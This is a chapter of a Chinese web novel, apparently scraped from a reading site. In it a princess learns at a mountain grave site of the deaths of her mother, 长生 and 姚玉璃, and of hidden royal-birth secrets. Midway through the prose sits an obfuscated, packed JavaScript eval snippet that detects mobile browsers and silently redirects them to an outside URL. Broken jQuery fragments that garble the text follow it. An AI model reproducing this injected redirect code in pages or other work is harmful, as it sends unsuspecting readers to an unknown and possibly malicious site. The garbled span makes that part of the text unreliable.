79.第 79 章

作品:《带几个美男打团战

    许清言定定地看着纪景佳,瞧着她泛红的眼睛,心生愧疚。


    “郡主若是不想说就不说,”说罢尤觉得不够,俯身抱住了她,“不过是一己私欲,惹郡主伤心,是在下的罪过。”


    纪景佳阖上双眼偎在他怀中,鼻息间两人身上是相同的味道,也有那么几个瞬间,她想到了另一个人,心中更是一痛。


    明王府所见的那一面竟是最后一面,如今也不知那人如何了...


    叹息一声,摸索着握住了许清言的手,睁开双眼问他:“若是结尾全由你来杜撰,你会给一个什么样的结局呢?”


    “之前一直以为这会是个荡气回肠的情爱范本,后来发现不是这样,若是结局由我来执笔,确实为难了些。”许清言摇了摇头,迎上纪景佳的视线。


    “在下所说的想出去走走,并非虚言,人永远编造不出自己认知以外的东西,古人有云,读万卷书不如行万里路,也许,走出去见见天地,会遇到能交出一份满意结局的契机,到时,我会回来。”


    两人的呼吸不停地交缠,各自的眼中也都多了些其他的东西。


    许清言翻身覆了上来,两人的鼻尖碰触在一起,他眼神亮晶晶地问:“箱子里的东西郡主都看过了吧?”


    真美的一双眼睛!纪景佳从不为自己的心动遮掩,大大方方地沉溺在许清言眼中。


    直到在他眼中瞧见了翻涌的情潮,莫名有些脸热,偏了下头,避开了他的眼神,“嗯”了一声。


    声如蚊蚋。


    “郡主不怪我?”


    轻柔的吻落了下来,带着讨好,携着庆幸,又饱含说不清道不明的喜悦和感激。


    细腻的情感波动全释放在这些吻里。


    “你以为那箱子为何还在你院中好好安放着?”纪景佳喘匀了气,嗔了他一眼,拢好了散开的衣领,“当初我问你有何所求,听你所言不是不惊讶,但当时我亦是存着一份私心,这才应下了。虽然那些隐秘不能公之于众,但他们的所作所为也不该就这样被淹没在时间的长河,就算多一人知晓也好。”


    许清言点了点头,他理解。


    正史,统统一个模样儿,但历朝历代都有这样那样的传说,或许正是有一个或者很多个像他这样人也说不定。


    俯身又偷了个香,这才翻身下榻,取来熏好的衣物,示意纪景佳抬臂穿衣,“所以,郡主选了我来聆听吗?”


    “不,不是我选了你,而是你在恰当的时候,正好出现了。”


    “荣幸之至。”


    房门一推开,一股潮气涌了进来,外头正细雨绵绵。


    纪景佳命人把膳食摆在了院中的八角亭里,又差人备上些清酒。


    曲水自亭下的石道而过,雨滴落在水面的细微动静,吸引水中的游鱼过来聚在一处。


    纪景佳倚在木围栏上,看鱼儿搅弄起的水波荡至边缘消散不见,周而复始,乐此不疲。


    “郡主。”


    “嗯?”抬手接过许清言端来的酒杯,一饮而尽,“细雨引愁丝,倒也应景。”


    “先前我与你所说的,已经正经称得上是添油加醋了,我虽身在其中,却也只是偏在一隅,不能面面俱到,若是何处有缺漏,只能靠你自己摸索着去补全了。”


    “定当尽我所能!”


    “史书上没有他们的名字,也不可能有他们的事迹,甚至连真相都鲜有人知。世人只知秦不疑昏庸无度骄奢淫逸,以苛政来刮骨啖肉,这才令群雄揭竿而起,群起而攻之...”纪景佳舔了舔嘴唇,握紧了手,郑重地说:“他们不应该被忘记。”


    “如今太平安定的日子,并不是上天恩赐的礼物,是无数人用骨头和鲜血换来的,不仅是天堑这样看得见的地方白骨累累,瞧不见的暗处,更是繁多,他们不应该被忘记,不应该的...”


    雨势骤然变急。


    雨幕带着蒸腾的白气隔开了八角亭,外面什么也瞧不清。


    “你说...是他们在哭吗?”


    纪景佳对于那年的事,记忆是有些模糊的,这是人的本能。


    人会潜意识里去淡忘令自己极度痛苦的事。


    那时她睁开眼睛,映入眼帘的是熟悉到不能再熟悉的场景。


    是纪景佳在离恨天住了十几载的那间小屋。


    这间不大的小屋仍是她离开时的模样,从前的一些旧物,也都还摆放在之前的位置,瞧着是有人仔细地整理过,一丝灰尘也无。


    变化也是有些的,那扇破旧的窗被人修好了,此时正严丝合缝的闭合在一处。


    指尖拂过床内侧的月牙刻痕,滚滚泪珠顺着眼角洇湿了枕头。


    此间一切如旧,回来的人却非从前了。


    “吱呀”一声轻响,门向两边打开一道缝隙,刺眼的阳光穿过门缝打在了纪景佳脸上。


    强光令她眯了眯眼,随即抬手遮了一下,这才看清了院中有人。


    那人背对着门弯腰坐着,脊骨在后背顶起来长长一条,瘦骨嶙峋。


    纪景佳认出来了,是香福。


    香福一动不动地在院中坐着,对逐渐接近的脚步声恍若未闻。


    “祖师娘?”


    那身影好似雕塑一般,一动未动。


    纪景佳自以为她不习惯这个称谓,毕竟当时在途中定下来以后,根本就没有喊上过几次。


    快步走了过去,矮下身子,双手搭在香福的膝头,凑近了些又喊了一句:“祖师…”


    一抬眼,纪景佳呆在了原地。


    香福不只是瘦骨嶙峋,简直…没有个人样。


    她的一双眼睛本就生得又大又圆,如今眼下乌黑,眼眶深陷,深到若是再塌陷一分,就再也盛不住一对黑沉沉的眼珠。


    圆润的下颌也像被刀削过一样尖。


    “啊...你终于醒了。”


    香福垂眼看了下来,一点点地扯出了个苦涩的笑,“那我的任务也算完成了。”


    “什么任务?”纪景佳猛然警惕了起来,“他们人呢?”


    “随我来吧。”


    一路枯枝败叶,深秋了。


    脚踩在枯叶上,轻微的脆响叠成一片,纪景佳莫名生出一股不太妙的预感,心慌得不成样子,额头沁出汗来。


    香福一路引她来到练武台。


    练武台已不是当年郁郁葱葱的模样,长生当年所栽的缤纷花树,灿烂地盛开过之后如同它们的主人一样,尽数枯死。


    干枯的枝桠下面,矮矮的四个土包。


    山君安静地趴卧在最前面的那个土包前,见她们过来,睁开眼睛喷了声鼻息,站起了身。


    它如今已经步入了晚年,额面上的花纹多了些杂乱的毛发,身子也不再如前些年看起来那般壮实,它缓步来到纪景佳身边,尾尖勾缠了下她的小腿。


    这是青竹最爱的动作,纪景佳眼眶一酸,伸手托起山君的尾巴,轻轻地摇了摇,“守着家辛苦了。”


    山君甩了甩头,慢悠悠地离开了。


    香福看着离去的山君,呆滞的眼神灵动了一瞬,叹道:“它独自在这山中也是孤独,待日后它离去,这山中就再也无山君了。”


    “为何这样说?其他的虎只是斗不过山君,待它不在了,自然有新的山君,”纪景佳随口应了句,矮身蹲在了土包前,“这其中哪一个是小师叔呢?是谁在与他作伴?”


    “山君皆是虎,虎却不一定是山君,有灵才为君,”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297220|169977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    香福也蹲了下来,在纪景佳身侧的位置,小小一团,比她整整小了一圈,指了指最里面的土堆,“那里是长生。”


    纪景佳对着土堆还没拜下去,就听香福平静的嗓音传来。


    “他右侧的,是你的母亲。”


    “这最前头的,是姚玉璃。”


    如此简单两句话,怎么就这么难懂呢,纪景佳凝眉沉思半晌,才弄懂一二,以至于忽略了重要的一点。


    “我...母亲?!”


    “姚玉璃?!”


    纪景佳以为自己会泪如泉涌,可手指抹了又抹,揉了又揉,一双明眸被她折腾的一片血红,仍是一滴眼泪也无。


    彷佛一口干涸的枯井,再怎么努力也打不上水来。


    她觉得自己的眼睛一定是坏掉了,为什么心里痛得要命,却一滴眼泪也流不出。


    真的好痛,痛到头晕眼花,痛到直犯恶心。


    比之前所受的任何痛楚都要痛。


    母亲...孩儿还未在跟前尽孝...


    还有姚玉璃!他怎么敢的!她还没问问他,为何要对长生下毒手!他怎么就这么躺在了长生身边!?


    他怎么敢呀!怎么敢!


    纪景佳痛得浑身发抖,眼前眩晕,手脚一点不听使唤,连蜷起身子都不能。


    此时香福来到纪景佳身边,席地而坐,重重地拍了拍她的肩膀,“别难过,依你母亲的身体,能撑这么久,已是幸运了,还有姚玉璃,他自己想死,如今他死了,得偿所愿,两相都算得上喜丧,该是欢欢喜喜地送他们一程才对。”


    纪景佳猛地攥住了香福的胳膊,宛如救命稻草,紧紧抓住,“那...”她双唇不停地抖动,双目失焦,“我...长生呢?!...”


    长生又何其无辜,姚玉璃为何要对他出手!那是他自小养在身边的孩子啊!


    “你其实应该喊他一声哥哥的。”


    “什么?!”纪景佳被这接二连三的消息弄得不知所措,“哥哥...”


    “是,哥哥,”香福看了一眼被抓得生痛的胳膊,探出另一手摸了摸纪景佳的脑袋,“赵勇胜当年披露黄极宫的秘闻,他不是殷荣的子嗣,身怀六甲的皇贵妃首当其中被秘密处死。姚玉璃暗中把她救下了,可惜晚了一步,毒已入身,诞下孩儿之后她还是去了,所以长生才会生来不全,胎里带的。”


    纪景佳脑子一片空白,“那,那怎会是我哥哥...呢?”


    “皇贵妃在入宫前,与你伯父相遇相知,两人情愫渐生,你伯父已经在筹备聘礼了,可惜一道皇命难违,为了家族门楣,她还是入了宫,那也是对苦命的鸳鸯。”


    香福苦笑了一声,这都是命,“那时正值权柄更替,各家盯得紧,你父亲肩上挑着整个纪家,不能轻举妄动,这才去求了姚玉璃,所以晚了一步,皇贵妃身故后,你伯父也随之撒手人寰了。”


    原来如此,原来如此!


    怪不得父亲待他如此偏爱,是觉得亏欠。


    不对!姚玉璃亲手杀了长生时,她看到了!看到了父亲就在姚玉璃身侧站着!


    “那为何要亲手杀了他!”


    长生的一生还不够苦吗?为何在最后了,是最亲近的人亲手送他一程...


    沉默。


    只有烈烈长风呼啸不休。


    香福抬眼看了看天色,“先回吧,要变天了。”


    察觉到她回避的态度,纪景佳赶紧换了个问题,“那...我...我爹呢...?”


    “秦岭深处的无人之地有一处干涸的地下河入口,深处无人得见,或许去那可以见到它。”


    紧咬的牙关松了松,还好还好,还活着就好,“那…他们呢?”